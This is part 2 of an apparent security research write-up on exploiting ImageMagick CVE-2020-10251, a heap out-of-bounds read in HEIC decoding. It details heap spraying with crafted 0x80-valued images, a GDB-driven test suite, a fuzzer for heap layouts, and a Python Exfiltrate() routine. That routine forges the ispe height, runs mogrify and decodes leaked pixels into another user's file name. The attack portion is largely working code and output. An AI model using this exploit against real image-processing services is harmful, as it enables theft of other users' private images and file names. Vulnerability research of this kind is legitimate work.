This is part 2 in the series on the ImageMagick vulnerability CVE-2020-10251. Part 1 discusses how to trigger the vulnerability and touches on how to recover the OOB heap data. This part will look at crafting suitable exploit files and exfiltrating useful information from the heap, making use of a self-made fuzzing tool to find viable trigger files. The focus of this part shifts from the analysis perspective in part 1 to exploitation.

Let’s first recap some important details from Part 1. Whenever we process a heic image file, there is an array OOB read in ReadHEICImageByID():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (y=0; y < (ssize_t) image->rows; y++)
  {
    Quantum *q;
    register ssize_t x;
    q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
    if (q == (Quantum *) NULL)
      break;
    for (x=0; x < (ssize_t) image->columns; x++)
    {
      SetPixelRed(image,ScaleCharToQuantum((unsigned char) p_y[y*
        stride_y+x]),q);  // OOB read
      SetPixelGreen(image,ScaleCharToQuantum((unsigned char) p_cb[(y/2)*
        stride_cb+x/2]),q);  // OOB read
      SetPixelBlue(image,ScaleCharToQuantum((unsigned char) p_cr[(y/2)*
        stride_cr+x/2]),q);  // OOB read
      q+=GetPixelChannels(image);
    }
    if (SyncAuthenticPixels(image,exception) == MagickFalse)
      break;
  }

The OOB access happens by changing the value of “image->rows” and “image->columns”, which can be done by modifying the ispe (Image spatial Extents) height and width respectively. The OOB read happens on the heap, where “p_y”, “p_cb”, “p_cr” are heap-allocated pixel arrays containing pixel data of a specific channel of the image file being processed. This pixel data is then converted to the RGB colourspace with the following code in TransformsRGBImage():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  double blue, green, red, X, Y, Z;
  // Retrieves values set by the previous SetPixelXXX() calls
  X=QuantumScale*GetPixelRed(image,q);
  Y=QuantumScale*GetPixelGreen(image,q);
  Z=QuantumScale*GetPixelBlue(image,q);
  ...
  ConvertYCbCrToRGB(X,Y,Z,&red,&green,&blue);
  ...
  static void ConvertYPbPrToRGB(const double Y,const double Pb,const double Pr,
  double *red,double *green,double *blue) {
      *red=QuantumRange*(0.99999999999914679361*Y-1.2188941887145875e-06*(Pb-0.5)+
        1.4019995886561440468*(Pr-0.5));
      *green=QuantumRange*(0.99999975910502514331*Y-0.34413567816504303521*(Pb-0.5)-
        0.71413649331646789076*(Pr-0.5));
      *blue=QuantumRange*(1.00000124040004623180*Y+1.77200006607230409200*(Pb-0.5)+
        2.1453384174593273e-06*(Pr-0.5));
  }
  ...
  // The quantum q represents a pixel in the output image
  SetPixelRed(image,ClampToQuantum(red),q);
  SetPixelGreen(image,ClampToQuantum(green),q);
  SetPixelBlue(image,ClampToQuantum(blue),q);

“ClampToQuantum()” restricts the range of values for the quantum, from 0 to 65535, the “QuantumRange”. The last three calls to SetPixelRed() determines the final RGB value of the pixel in the output image. For reference, these leaked pixels will end up in the output image in addition to the actual pixels. For example, a legitimate heic image of size 64x64 would produce a png image of 64x64 pixels when converted, but a modified heic image with a forged ispe size of 64x65 would produce a png image of 64x65 pixels; the last, additional row of pixels would contain the leaked pixels. Here is a scaled up version of this phenomena – the green pixels are the leaked pixels.

Constraints to OOB read

The OOB read heap data ends up in “X”, “Y”, “Z”, which passes through the “ConvertYPbPrToRGB()” function. “ConvertYPbPrToRGB()” takes “X”, “Y”, “Z” as the inputs to three equations and produces three output variables “red”, “green”, “blue”. This means that by solving the system of equations, we can retrieve the leaked heap data in “X”, “Y”, “Z” from “red”, “green”, “blue”. However, “red”, “green”, “blue” is not exactly the RGB value of the pixel in the output image. This is because of the values of “red”, “green”, “blue” is restricted, or clamped, with the “ClampToQuantum()” function (this behaviour was investigated in Part 1 with dynamic analysis). Only after being clamped, the clamped “red”, “green”, “blue” values correspond to the RGB values of the output image’s pixels.

The implication is that we are sometimes unable to recover the leaked heap data from the RGB values of the output image. This happens in the case where the input value to “ClampToQuantum()” is out of the restricted range (0 to 65535), i.e. the value is negative or greater than 65535. Then, when the input value is clamped to within the restricted range, the original value lying outside the range cannot be recovered. In other words, the conversion of colourspace is not an injective function, and thus cannot be reversed – we cannot find the inverse function. If the function was injective, we would be able to recover the leaked heap data, consisting of a byte of OOB heap data from the “p_y”, “p_cb” and “p_cr” arrays, from a single pixel of the output image.

To determine how big of an obstacle this will pose, we can run a simulation to check how often we can reverse the conversion function. The OOB heap data can take any value from 0x00 to 0xff. It is feasible to run the conversion function on every single combination of (“X”, “Y”, “Z”) since there are only 0x100^3 = ~16.7 million possibilities. For each combination, we check if any of the output values “red”, “green”, “blue” fall outside the restricted range. If even one falls outside the restricted range, we will have insufficient equations to reverse the operation and recover the original values of (“X”, “Y”, “Z”). The simulation gives 3918122 successes and 12859094 failures, so the probability we are able to recover a single pixel worth of leaked heap data is ~23.4%. This isn’t great; the chance we recover 8 contiguous bytes is 0.0008%. Additionally, this assumes the probability of recovering each byte is independent, but it is most definitely not. As shown in Part 1, one common case where values lie outside the restricted range is where two of the three input values of (“X”, “Y”, “Z”) are 0x0. This is a common scenario because that is the value of uninitialized data on the heap. Furthermore, null bytes are frequently located beside other null bytes. So, if we fail to recover byte 1 because two of the input values of (“X”, “Y”, “Z”) are null bytes, it is likely that we will fail to recover byte 2 because two of its input values will also be null bytes. This means that the odds of recovering contiguous bytes is likely even worse.

One solution to this problem is brute-force. By trying multiple exploit images of varying dimensions, we can hope that eventually one configuration of heap chunks allows us to successfully extract the leaked heap data. In this approach, we can determine whether an extraction is successful by looking at the RGB values of the pixel. A value of 0xff or 0x00 means that there is a possibility the original value was clamped, whereas any other value would indicate that the leaked data can be successfully recovered. At first blush, such an approach is a bit too probabilistic in nature, so we will reject it for now.

Another solution to this problem is heap spraying to control the contents of two out of three of the OOB reads. This means that we only use the OOB read of one of the pixel arrays to extract unknown heap data while the OOB read of the other two pixel arrays are known heap data, for example “0x4141414141414141…”. There are two implications. The first is that there is a higher chance we can recover the unknown byte. Previously, we tried to recover three unknown bytes (one for each of the three pixel arrays’ OOB reads), which requires three equations, and consequently three unclamped output values to solve. In this case, with only one unknown byte, we can recover its value using any one of the three equations. Consequently, as long as one of the three output values are unclamped, we can use the corresponding equation to recover the unknown byte. The second implication is that even if we fail to recover its value, i.e. all three output values are clamped, we can guarantee to recover its value in subsequent runs. In re-running the program and using a different, specially chosen, known heap data, for example “0x5151515151515151…”, we can ensure that the three equations do not all return clamped values, allowing us to recover the unknown byte. The exact mechanism by which we “spray” the heap with known data will be discussed subsequently.

Useful information in heap: Mogrify

First, let’s define what information is useful. Naturally, this will be in the context of exploiting the vulnerability remotely, e.g. on a remote server that provides an image processing service or a service that involves processing user-supplied images as part of the procedure. Leaked data is useful if we are not normally able to access it and it serves some practical purpose. The pixel data of our supplied image is not useful because we can already access it locally. Leaking heap addresses is not very useful without a stronger exploit. If the user-supplied image is processed alongside images supplied by other users, sensitive data such as other users’ image pixel data or file names are useful information to exfiltrate. Environmental variables if stored on the heap can also be useful to extract.

For our attack scenario, we have a centralized system with authenticated clients, each submitting private images (meaning inaccessible by other clients). The system processes each image with some ImageMagick operations, such as resizing or converting the image type. It does this in batches for optimization, then distributes the output images to the clients correspondingly. Importantly, in batching the user images, multiple users’ images are processed by the same run of ImageMagick. Resultantly, the heap is shared for processing each of the images, so it is possible for our trigger heic image to OOB read sensitive data. One way this batching can be done is with the ImageMagick “mogrify” command, which is typically used for batch processing multiple files, as opposed to the “convert” command which is used for a single image. Instead of “magick convert poc.heic out.png”, we can run “magick mogrify -format png *.heic” which converts all heic files in the current directory. We need not do any additional dynamic analysis because we can quickly verify that mogrify works similarly to convert in the backend.

In this attack scenario, two pieces of sensitive data on the heap are: image pixel data and image file names. The former is quite obvious, given our previous discussion of the pixel arrays lying on the heap. By leaking these pixel arrays, we can reconstruct the image. The latter is also quite intuitive. The image file names are of variable length, so storing them in a dynamically allocated buffer on the heap would make sense. We can verify this in gdb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ls image_directory/
another_image.heic  my_image.heic
(gdb) b *(ReadHEICImageByID+439)
(gdb) r mogrify -format png image_directory/*.heic
...
(gdb) search-pattern "another_image.heic" little heap
[+] Searching 'another_image.heic' in heap
[+] In '[heap]'(0x555555559000-0x555555621000), permission=rw-
  0x555555581020 - 0x555555581032  _   "another_image.heic" 
  0x55555558ded0 - 0x55555558dee2  _   "another_image.heic" 
  0x555555590200 - 0x555555590212  _   "another_image.heic" 
  0x555555591460 - 0x555555591472  _   "another_image.heic" 
  0x555555593790 - 0x5555555937a2  _   "another_image.heic" 
  0x5555555db408 - 0x5555555db41a  _   "another_image.heic" 
  0x5555555dc408 - 0x5555555dc41a  _   "another_image.heic" 
  0x5555555e14e4 - 0x5555555e14f9  _   "another_image.heic[0]" 
  0x5555555e4f20 - 0x5555555e4f32  _   "another_image.heic" 
  0x5555555e79c0 - 0x5555555e79d2  _   "another_image.heic" 
(gdb) search-pattern "my_image.heic" little heap
[+] Searching 'my_image.heic' in heap
[+] In '[heap]'(0x555555559000-0x555555621000), permission=rw-
  0x55555557ffb0 - 0x55555557ffbd  _   "my_image.heic" 
(gdb)

The first time we hit the ReadHEICImageByID() call, ImageMagick is processing the first image file. We see that there are significantly more references to “another_image.heic” than “my_image.heic”, suggesting that ImageMagick is processing “another_image.heic” first. Continuing execution confirms this as we see that only “another_image.png” has been output. The second time we hit the breakpoint, there are now significantly more references to “my_image.heic” than “another_image.heic”, as expected.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) search-pattern "another_image.heic" little heap
[+] Searching 'another_image.heic' in heap
[+] In '[heap]'(0x555555559000-0x555555645000), permission=rw-
  0x555555581020 - 0x555555581032  _   "another_image.heic" 
  0x555555601f38 - 0x555555601f4a  _   "another_image.heic" 
(gdb) search-pattern "my_image.heic" little heap
[+] Searching 'my_image.heic' in heap
[+] In '[heap]'(0x555555559000-0x555555645000), permission=rw-
  0x55555557ffb0 - 0x55555557ffbd  _   "my_image.heic" 
  0x555555590200 - 0x55555559020d  _   "my_image.heic" 
  0x555555593790 - 0x55555559379d  _   "my_image.heic" 
  0x5555555db408 - 0x5555555db415  _   "my_image.heic" 
  0x5555555dc408 - 0x5555555dc415  _   "my_image.heic" 
  0x5555555e4520 - 0x5555555e452d  _   "my_image.heic" 
  0x5555555e51e0 - 0x5555555e51ed  _   "my_image.heic" 
  0x5555555e5320 - 0x5555555e532d  _   "my_image.heic" 
  0x5555555e5a24 - 0x5555555e5a34  _   "my_image.heic[0]" 
  0x5555555ec860 - 0x5555555ec86d  _   "my_image.heic" 
  0x5555555f2920 - 0x5555555f292d  _   "my_image.heic"

Returning to our attack scenario, for simplicity in our POC exploit, we will try to exfiltrate another image’s file name rather than its entire pixel data. This is our “flag”, or win condition. As we continue along, we will define a few more parameters and constraints for simplicity.

Before moving on, let us first observe an interesting behaviour of “mogrify” – its order of file processing. Recall our original poc file from Part 1. Converting it from heic to png would cause a core dump, and no output png file would be produced. This behaviour persists when running mogrify on that single poc file. Now let’s add a sample heic file to the folder and rename our poc file to “a-poc.heic”.

1
2
3
4
5
6
$ ls image_directory/
a-poc.heic  sample.heic
$ magick mogrify -format png image_directory/*.heic
Aborted (core dumped)
$ ls image_directory/
a-poc.heic  sample.heic

As expected, the same crashing behaviour is observed, and no output png files are produced. Now, rename the poc file to “z-poc.heic” and retry.

1
2
3
4
$ mv image_directory/a-poc.heic image_directory/z-poc.heic
$ magick mogrify -format png image_directory/*.heic
$ ls image_directory/
sample.heic  sample.png  z-poc-0.png  z-poc-1.png  z-poc.heic

Surprisingly, we don’t get a core dump and output png files for both sample and poc are produced. It isn’t important that there are two png files produced for our poc (this is likely because the original heic file was a sequence of two images). Let’s break down what is happening. The “mogrify” operation processes input images in alphabetical order. In the first example, “a” comes before “s”, so our poc “a-poc.heic” is processed before “sample.heic”. As expected, the program crashes as the OOB read attempts to access unmapped memory beyond the heap. In the second example, “z” comes after “s”, so “sample.heic” is processed before our poc “z-poc.heic”. As such, the sample output png is produced just fine. The reason the poc’s OOB read does not cause the program to crash is that heap memory was allocated to loading the pixel data in “sample.heic”, pushing the system break point back. Thus, when our poc performs its OOB read, it is accessing mapped memory, so no error is thrown. For this to work, we only need to ensure that the sample file is sufficiently large so that the heap expands enough to accomodate the poc file’s OOB read.

Test suite

Thus far, we have been using gdb and manually setting breakpoints to track the heap allocations. Moving forward, we need to better understand the heap allocations in order to figure out how to position our OOB read in a suitable position to read sensitive data. Much heap-fu will be needed to fully understand, and then predict, how our image data will be positioned in memory; we first need a good understanding of the libc memory allocator, and then figure out when libheif requests for memory for each of its internal structures. Such a task is quite daunting, so let’s first play around with different combinations of image files to see how the memory for their image data is allocated. To facilitate this, we can build a test suite that provides useful tools for our experimentation.

I recently built an interface on top of GDB’s Python API, similar to the IDAPython plugin for IDA Pro, and with ideas borrowed from Qiling. I decided to test out using my interface in building the test suite. In this case, GDB is sufficiently fast, and the alternative of emulating a large binary like ImageMagick is quite resource-intensive and not necessary. The interface uses the GDB Python API to automate most GDB actions we do manually.

The test suite includes a few nifty features:

  • Reads registers and memory at breakpoints. This allows us to extract information about the heap allocations. In a similar manner to Part 1, we can obtain the memory addresses of the pixel arrays and the corresponding stride length.
  • Order system. Each order is a readable way of specifying what we want the test suite to do: what image files to send into mogrify (chosen from a pre-selected pool of images), what sizes the image files should be resized to, the order in which mogrify should process them, and any additional command line arguments to pass into mogrify, like the output format. We resize the images using ImageMagick, and set the order mogrify processes them by renaming them accordingly (we found out earlier that mogrify processes files in alphabetical order). We can construct a list of orders for our test suite to test.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    p = Player()
    files = {
      0: "cat.heic",
      1: "dog.heic",
      # The flag image is the file we are trying to leak sensitive data from.
      p.flag_file_id: "flag.heic"
    }
    orders = [
      {
          "file_order": [p.flag_file_id] + [0] * 4, # the order in which mogrify processes the images
          "sizes": [None] * 5  # None means use the original size of the image
      },
      {
          "file_order": [0] * 2 + [p.flag_file_id] + [0] * 5,  # ids map to images
          "sizes": [(400, 400)] * 2 + [None] + [(128, 128)] * 5
      },
      {
          "file_order": [1, 0, 0, p.flag_file_id]
          "sizes": [(1251, 834), (1251, 834), (64, 64), (None)]
      }
    ]
    p.Pwn(orders, files)
    
  • Contiguous regions detection. This is one heuristic for finding suitable images for exploitation. Recall the solution we settled on in our earlier discussion of the constraints to the OOB read – making the OOB read for two of the three pixel arrays known heap data. One instance of this is when the three pixel arrays lie side-by-side in memory, i.e. one continuous chunk. This is what it looks like for the red (0x555555628c70), green (0x55555564fd90), blue (0x55555565a030) pixel arrays to be contiguous.
    1
    2
    3
    4
    5
    6
    7
    8
    
    (gdb) heap chunks
    ...
    Chunk(addr=0x555555628c70, size=0x27120, flags=PREV_INUSE)
      [0x0000555555628c70     29 39 1c 12 1b 1f 20 1f 2e 2b 25 2c 2d 2f 39 31    )9.... ..+%,-/91]
    Chunk(addr=0x55555564fd90, size=0xa2a0, flags=PREV_INUSE)
      [0x000055555564fd90     7d 7d 7d 7d 7d 7d 7d 7e 7f 7f 7f 81 83 82 7f 7c    }}}}}}}~.......|]
    Chunk(addr=0x55555565a030, size=0xa2a0, flags=PREV_INUSE)
      [0x000055555565a030     6f 75 75 6f 6f 6f 6f 71 74 73 71 6c 68 66 68 69    ouuooooqtsqlhfhi]
    

    Typical, non-OOB behaviour would have the first pixel’s RGB values at addresses (28c70, 4fd90, 5a030) and the last pixel at (4fd8f, 5a02f, 642cf). The first OOB pixel would have its red value in the green pixel array, its green value in the blue pixel array, and its blue value as an unknown value. This satisfies our condition of having two of our three OOB reads be known heap data, since we do know the pixel data of our supplied image. One small caveat is that there is still 0x10 bytes of chunk metadata at the start of each chunk that is unknown data, but this is a small amount of data unrecovered compared to the possible leak from after the blue pixel array on the heap. We can easily check for a contiguous RGB region by using the memory addresses of the pixel arrays (as obtained prior) and the size of the corresponding heap chunks.

  • Locate sensitive data in memory. We are already able to obtain the addresses of the images’ pixel arrays by using breakpoints, but we can also scan through the heap to find references to the images’ file name via the API. We can check if it is possible for an OOB read to access the file name, i.e. if any of the three pixel arrays are located before the file name in memory, and the size of an OOB read needed.
  • Track which heap data is known. We need to be able to detect this because our solution will involve OOB reads into controlled data. Without symbolic execution, we need to manually track what data we control in the heap. This is implemented in the “HeapTracker” class. For simplicity, the only data we take to be controlled are the memory regions of pixel arrays of user-supplied images; we can control them by manually modifying the pixel content of our image and then re-submitting it.

Here are the logs from a sample run. This is the second of the three orders in the previous code example, and the “Strictly Contiguous Region” shown is actually the one from the gdb example earlier.

Fuzzer

Let’s develop our exploit idea a bit more. From what we have outlined, we essentially have an algorithmic problem. The elements we have discussed so far are sufficient for us to come up with a few different exploitation methods, but I will just focus on the one I think is the most straightforward.

  1. We will run mogrify with the dummy images, the trigger image and the flag image. The flag image contains sensitive data we want to leak.
  2. Dummy images are crafted such that when they are decoded, fill the heap with the value of 0x80. For example, we can craft heic images that have YCbCr values of (0x80, 0x80, 0x80) for every pixel, which populates their entire pixel array on heap with 0x80. This is how we “spray” the heap.
  3. Craft a single trigger image. One of its OOB reads (Y) should be able to read the sensitive data from the flag image. The other two OOB reads (Cb, Cr) should be into controlled data, e.g. the 0x80 values we “spray” the heap with.
  4. A special property of the YCbCr to RGB conversion is that if Cb and Cr are both 0x80, Y can take any value and the final RGB values will never be clamped. This allows for the full recovery of the leaked Y bytes from the RGB values. The proof is left as an exercise to the reader ;).
  5. In order to find suitable images in order to satisfy the condition in (3), we employ fuzzing.

The reason we employ fuzzing is because actually understanding how ImageMagick and libheif handle the heap allocations and how that mixes with the libc heap allocator will likely be too challenging. Additionally, tests with the test suite revealed that the addresses of the heap allocations for the images vary between runs, supporting the idea that there is quite a bit of complexity in the heap allocations. Given so, we should expect the fuzzer to find exploit cases that work some of the time only. From then, we can further test and shortlist exploit cases that work most of the time and use those for our exfiltration. Also, note that this isn’t fuzzing in the traditional sense as we are not fuzzing the program itself (for instance, corrupting metadata attributes and processing the image). Instead, we have already found a vulnerability in the program and are fuzzing a “system” within the program, the heap allocation system!

Next, for simplicity, let’s also add a constraint on the remote flag image file – it is a normal image of dimensions (196, 196). This ensures the heap layouts of our fuzzing test cases is similar to the heap layout on the remote server. Without this constraint, finding a working exploit will be possible, but we will need multiple sets of images to cover the different possibilities of the remote flag image file size.

Now, we can discuss the fuzzer proper. The fuzzer is built on the test suite, with three main added features

  • Order generation. The test suite could take in orders and execute them easily, so each fuzz iteration generates random parameters for an order according to pre-set constraints. We fuzz on the following parameters: number of image files, dimensions of image files (and randomly, whether they should all be the same), sequence of image files, format of output files and padding of image files. Padding is the only parameter that we haven’t covered yet. By adding null bytes to the end of the heic file, we increase its file size and thus increase the size of the heap chunk allocated to loading the file in memory, in turn affecting heap positioning. The motivation for adding padding is that our dummy files are compressed to a very small file size as they are composed of only one colour. Larger heap allocations allow us to reach more unique heap states, increasing the chance that we find a state that meets our win condition. In addition, we use a constant seed for reproducibility. This is the function used to generate orders:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
    def GenerateOrder(self):
      round_up_to_nearest: Callable[[int, int], int] = lambda x, n: int(math.ceil(x / n)) * n
    
      num_files_bef_flag = random.randrange(0, 5)
      num_files_aft_flag = random.randrange(1, 3)
      # file id 10 corresponds to the dummy image
      file_order = [10] * num_files_bef_flag + [self.flag_file_id] + [10] * num_files_aft_flag
    
      sizes = []
      fixed_flag_file_size = (196, 196)  # based on constraint
      all_files_same_size = random.choice([True, False])
      if all_files_same_size:
          w = random.randrange(48, 1200)
          # Rounding aligns the chunk to the stride length
          # This makes reading the region of bytes continuous
          w = round_up_to_nearest(w, 0x10)
          size = (w, w)
          sizes = [size] * len(file_order)
      else:
          for _ in file_order:
              w = random.randrange(48, 1200)
              w = round_up_to_nearest(w, 0x10)
              size = (w, w)
              sizes.append(size)
      sizes[num_files_bef_flag] = fixed_flag_file_size
    
      format = random.choice(["png", "rgb"])
      command = f"mogrify -format {format} tests/*.heic"
    
      paddings = []
      all_files_same_padding = random.choice([True, False])
      if all_files_same_padding:
          padding = random.randrange(0, 55_000)
          paddings = [padding] * len(file_order)
      else:
          for _ in file_order:
              padding = random.randrange(0, 55_000)
              paddings.append(padding)
      paddings[num_files_bef_flag] = None  # don't pad flag file
    
      order = {
          "file_order": file_order,
          "sizes": sizes,
          "command": command,
          "padding": paddings
      }
      return order
    
  • Addition of a win condition. Given the features of the test suite, it is easy to define a win condition, i.e. how the fuzzer knows it has found a working exploit. Following the thought process of the exploitation method outlined earlier, we first calculate the distance d from the sensitive data to the end of the red pixel array. If the red pixel array is located after the sensitive data, the fuzzer moves on to the next iteration. We then check if the OOB read at distance d after the green and blue pixel arrays are into controllable data (tracked by the HeapTracker class). If both are, the win condition is met. In practice, the check for the green and blue pixel arrays isn’t at distance d, but at distance d’. Referring back to the ImageMagick source code:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    for (y=0; y < (ssize_t) image->rows; y++)
    {
      ...
      for (x=0; x < (ssize_t) image->columns; x++)
      {
        SetPixelRed(image,ScaleCharToQuantum((unsigned char) p_y[y*stride_y+x]),q);
        SetPixelGreen(image,ScaleCharToQuantum((unsigned char) p_cb[(y/2)*stride_cb+x/2]),q);
        SetPixelBlue(image,ScaleCharToQuantum((unsigned char) p_cr[(y/2)*stride_cr+x/2]),q);
        q+=GetPixelChannels(image);
      }
    

    The red pixel array “p_y” is indexed differently from the green (“p_cb”) and blue (“p_cr”) pixel arrays. Keep in mind that x is bounded by the ispe width, and y by the ispe height. Empirically, the strides take the following values (psuedo-code):

    1
    2
    3
    
    stride_y = max(round_up_to_nearest(width_real, 0x10), 0x40);
    stride_cb = max(round_up_to_nearest(width_real // 2, 0x10), 0x40);
    stride_cr = max(round_up_to_nearest(width_real // 2, 0x10), 0x40);
    

    This means that when the red pixel array is OOB by distance d, the green and blue arrays are OOB by a smaller distance d’, which is approximately d/4.

  • More robust logging. Additionally, the fuzzer preserves test cases that meet the win condition by moving them to another directory for triage instead of deleting them.

Running the fuzzer over 2000 iterations found 5 wins.

This takes just under an hour, with ~1.6sec per iteration. Given the probabilistic nature of the exploits, we should further test each win to determine how reliable they are. Here are the results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Order 74 (wins: 3/10)
{'file_order': [10, 10, 10, 10, 100, 10], 'sizes': [(480, 480), (480, 480), (480, 480), (480, 480), (196, 196), (480, 480)], 'command': 'mogrify -format png tests/*.heic', 'padding': [30751, 1993, 35198, 20288, None, 10300]}
Preserved as preserved_1
Order 99 (wins: 10/10)
{'file_order': [10, 10, 10, 10, 100, 10, 10], 'sizes': [(480, 480), (480, 480), (480, 480), (480, 480), (196, 196), (480, 480), (480, 480)], 'command': 'mogrify -format png tests/*.heic', 'padding': [13977, 13977, 13977, 13977, None, 13977, 13977]}
Preserved as preserved_2
Order 1199 (wins: 10/10)
{'file_order': [10, 100, 10], 'sizes': [(864, 864), (196, 196), (864, 864)], 'command': 'mogrify -format png tests/*.heic', 'padding': [9319, None, 282]}
Preserved as preserved_3
Order 1356 (wins: 8/10)
{'file_order': [10, 10, 10, 10, 100, 10], 'sizes': [(608, 608), (992, 992), (720, 720), (416, 416), (196, 196), (320, 320)], 'command': 'mogrify -format png tests/*.heic', 'padding': [42814, 41585, 10948, 39082, None, 34215]}
Preserved as preserved_4
Order 1385 (wins: 6/10)
{'file_order': [10, 10, 10, 100, 10], 'sizes': [(608, 608), (1088, 1088), (1200, 1200), (196, 196), (688, 688)], 'command': 'mogrify -format png tests/*.heic', 'padding': [15061, 4733, 39527, None, 16672]}
Preserved as preserved_5

From this, we shortlist two promising wins: order 99 and order 1199.

Recovering exfiltrated data

Triaging our two promising wins, here are snippets from the test suite logs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Order 99
=========================(5)
References to flag file name:
['0x581016', '0x6181d5', '0x72773e']
Heap: 0x621c80 (size: 0x38420), Stride:0x1e0
Controllable: 0x38420
Heap: 0x6925c0 (size: 0xe120), Stride:0xf0
Controllable: 0x0
Heap: 0x6a06e0 (size: 0xe120), Stride:0xf0
Controllable: 0xe020
k=1 reaches distance=0xcd69e for reference 3 (0x72773e)
k=2 (d'=0x335a7) Controllable after: 0x27319 & before: 0x1f307
k=3 (d'=0x335a7) Controllable after: 0x191f9 & before: 0x2d427

Order 1199
=========================(2)
References to flag file name:
['0x581016', '0x60e325', '0x81d60e']
Heap: 0x724840 (size: 0xb6420), Stride:0x360
Controllable: 0x2ae0
Heap: 0x611e00 (size: 0x2d920), Stride:0x1b0
Controllable: 0x0
Heap: 0x6b3f20 (size: 0x2d920), Stride:0x1b0
Controllable: 0x45ae0
k=1 reaches distance=0x429ae for reference 3 (0x81d60e)
k=2 (d'=0x10a6b) Controllable after: 0xa988d & before: 0xcb93
k=3 (d'=0x10a6b) Controllable after: 0x776d & before: 0xaecb3

Here’s how to read the logs: For order 99, the win condition is met in the file with index 5, i.e. the file directly after the flag file. At the time of processing that image, there are 3 remaining references to the flag’s file name in the heap. The red pixel array (k=1) needs an OOB read of distance d=0xcd69e to read the last of the 3 file name references. This corresponds to a distance d’=0x335a7 for the green (k=2) and blue (k=3) pixel arrays. At an OOB read of distance d’, the green pixel array can read 0x27319 known bytes, i.e. the 0x80 we sprayed the heap with, and there is a region of 0x1f307 known bytes directly before the read as well. This applies similarly to the blue pixel array.

Keep in mind that there are small variations to the value of d between runs, which is why all the wins found occasionally fail. Wins with higher success rates are less susceptible to variations in the value of d – even if d changes slightly, the green and blue OOB reads at d’ (which also changes according to d) should still point into controllable data. This gives the idea of a buffer zone around the green and blue OOB reads. The greater the buffer zone, the more a win case can handle variations in d, and the more reliable the win. With this in mind, order 99 seems to have a safer buffer zone, so let’s use that for our actual exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def Exfiltrate(order: int, idx: int, filename: str, distance: int, stride: int):
    w, h = order["sizes"][idx]
    command = order["command"]
    additional_rows = distance // stride + 1
    
    print("Forging ispe")
    ForgeIspe(filename=filename, out_fn=filename, old_width=w, old_height=h, new_height=h+additional_rows)
    
    print("Running imagemagick")
    os.system("magick " + command)
    converted_filename = filename[:-4] + "png"

    print("Exfiltrating leaked data")
    im = Image.open(converted_filename)
    pixels = list(im.getdata())
    width, height = im.size
    bites = []
    for i in range(h, h + additional_rows):
        # Pixel G value -> original Y value
        bites.extend([(pixel[1]+1)%256 for pixel in pixels[i * width:(i + 1) * width]])
    bites = bytes(bites)

    pos = bites.find(b".heic")
    while pos != -1:
        print(hex(pos))
        print(bites[pos - 0x30 : pos + 0x30])
        pos = bites.find(b".heic", pos + 1)

Firstly, we forge the ispe to craft our trigger image. The number of extra rows we need is the OOB distance d divided by the stride length. Next, we simulate what the remote server would do by running ImageMagick with the mogrify command. Finally, we use PIL to manipulate the trigger image’s output png, obtaining the RGB values of the pixels. Let’s take another look at how ImageMagick converts YCbCr to RGB:

1
2
3
4
5
dVar1 = Pb - 0.5;
dVar2 = Pr - 0.5;
red = ((Y * 0.9999999999991468 - dVar1 * 1.218894188714587e-06) + dVar2 * 1.401999588656144) * 65535.0;
green = ((Y * 0.9999997591050251 - dVar1 * 0.344135678165043) - dVar2 * 0.7141364933164679) * 65535.0;
blue = (Y * 1.000001240400046 + dVar1 * 1.772000066072304 + dVar2 * 2.145338417459327e-06) * 65535.0;

Y, Pb, Pr are all normalised between 0 and 1. Pb & Pr are the same as Cb & Cr. Recall that our win condition has the green and blue arrays reading our controlled values of 0x80. A value of 0x80 is normalised to 0x80 / 255, such that dVar1 and dVar2 is approximately 0. This means that red ≈ green ≈ blue ≈ Y * 65535. Note that the RGB values are then later normalised between 0 and 0xff again. We can compute a mapping from Y to R/G/B. For simplicity, we will only look at the mapping from Y to G. Empirically this is: G = Y - 1 (except for G: 0 = Y: 0), which is expected from the floating point operations. We can use this simple formula to recover the Y bytes. Finally, all that is left is to search for substrings we know to be in the sensitive data, e.g. “flag” or “.heic”. For leaking image data, we would search for the magic bytes. Here is the output:

1
2
3
4
5
6
$ py heic-pwn.py
Forging ispe
Running imagemagick
Exfiltrating leaked data
0xcd6d5
b'\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01tests/Flag{this_is_the_flag!}.heic\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'

We have successfully leaked the flag image’s file name! The data is located at leak offset 0xcd6d5, pretty close to the distance of 0xcd69e found by our test suite earlier. This deviation could be due to the shift from running ImageMagick using GDB in the test suite to running it outside of GDB. It is also worth noting that the exploit’s success rate is around 50%, and would occasionally cause ImageMagick to segfault. This can similarly be attributed to the random variations introduced by running the exploit in an uncontrolled system. The surrounding 0x01 bytes are an artifact of our conversion process – they should actually be null bytes. As an extension, in order to account for null bytes, we can look at the mappings from Y to R and Y to B as well.

Image files: tests (on Github)

Conclusion

